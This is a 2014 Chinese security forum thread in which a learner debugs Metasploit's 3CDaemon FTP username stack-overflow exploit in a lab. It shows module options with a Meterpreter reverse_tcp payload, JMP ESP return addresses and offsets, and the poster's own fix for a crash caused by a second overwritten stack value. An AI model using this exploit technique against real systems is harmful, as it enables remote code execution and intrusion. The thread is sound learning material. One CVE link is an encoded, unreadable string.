首页
社区
课程
招聘
[求助]3CDaemo的栈溢出分析,如何bypass SEH?
发表于: 2014-9-9 19:50 5384

[求助]3CDaemo的栈溢出分析,如何bypass SEH?

2014-9-9 19:50
5384
因为工作原因经常使用3CDaemo这个软件,最近在学metasploit,发现里面收录了3CDaemon的漏洞,于是尝试自己进行逆向分析。

1.环境:
    a)kali
    b)xp sp3 en
    c)3cd英文版

2.metasploit配置
msf exploit(3cdaemon_ftp_user) > show options 

Module options (exploit/windows/ftp/3cdaemon_ftp_user):

   Name     Current Setting      Required  Description
   ----     ---------------      --------  -----------
   FTPPASS  mozilla@example.com  no        The password for the specified username
   FTPUSER  anonymous            no        The username to authenticate as
   RHOST    192.168.159.136      yes       The target address
   RPORT    21                   yes       The target port


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  seh              yes       Exit technique (accepted: seh, thread, process, none)
   LHOST     192.168.159.129  yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   4   Windows XP English SP3


3.metasploit攻击脚本
          [
            'Windows XP English SP3',
            {
              'Platform' => 'win',
              'Ret'      => 0x7CBD41FB,   # 7CBD41FB JMP ESP shell32.data SP3
              #'Ret'      => 0x775C2C1F,   # 775C2C1F JMP ESP shell32.data SP1
              'Offset'   => 245,
            },
          ],
          [
            'my test',
            {
              'Platform' => 'win',
              'Ret'      => 0x7C9D30D7,   # search from msfpescan
              'Offset'   => 245,
            },
          ],


4.攻击原理
    3cd的ftp模块,接受用户名时会栈溢出,通过覆盖栈上的EIP指针,jmp esp实现shellcode的执行。

5.困惑
    在metasploit的脚本中,覆盖地址采用的是shell32.data中的数据0xffe4
    'Ret'      => 0x7CBD41FB,

    我尝试在shell32.dll中搜索jmp esp,添加了'my test'
    'Ret'      => 0x7C9D30D7
    但是修改后,进入了SEH,异常处理。
   

6.其它信息
    a)3cd 3cdv2r10.zip
    b)相关CVE信息:e35K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3y4$3k6g2)9J5k6h3#2A6N6s2u0W2i4K6u0W2L8%4u0Y4i4K6u0r3j5$3N6A6i4K6u0V1j5X3W2F1i4K6u0r3j5%4k6W2L8X3q4E0k6g2)9J5k6h3y4Y4K9g2)9K6c8X3&6S2L8h3g2Q4x3@1c8o6g2V1g2Q4x3X3b7J5x3o6l9#2i4K6u0V1x3o6t1%4y4H3`.`.
    c)windbg信息:
        metasploit脚本执行时的栈信息: 3cd.txt
        修改覆盖地址后的栈信息: my_3cd.txt
   
    这里我比较疑惑,都是覆盖0x00E4FC0C处的EIP指针,为何将返回地址指向shell32.data即可跳过SEH检查,而指向.text段,则会触发SEH,请大侠们指点啊,谢谢!

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 92
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
2
自己顶一下,今天好好看看SEH相关的东西,再调试看看。

也希望大虾们能给点指导~
2014-9-10 09:10
0
雪    币: 92
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
整明白了,3cd这个软件没启用GS,进行EIP覆盖时,metasploit中会覆盖0x00E4FC0C(覆盖EIP)和0x00ECFC10两处地址。后续执行InterlockedDecrement时在指令“XADD DS:[ECX], EAX”处会往ECX寄存器保存的地址写数据,而ECX由0x00ECFC10处地址计算得到。
当metasploit指向shell32.data时,因为内存可写,不会触发异常,而当修改为0x7C9D30D7时,指向text段,是不允许写的,所以触发了异常。

后面我修改了0x00ECFC10处的填充值,让其指向可写内存,就Ok了。
2014-9-11 17:07
0
游客
登录 | 注册 方可回帖
返回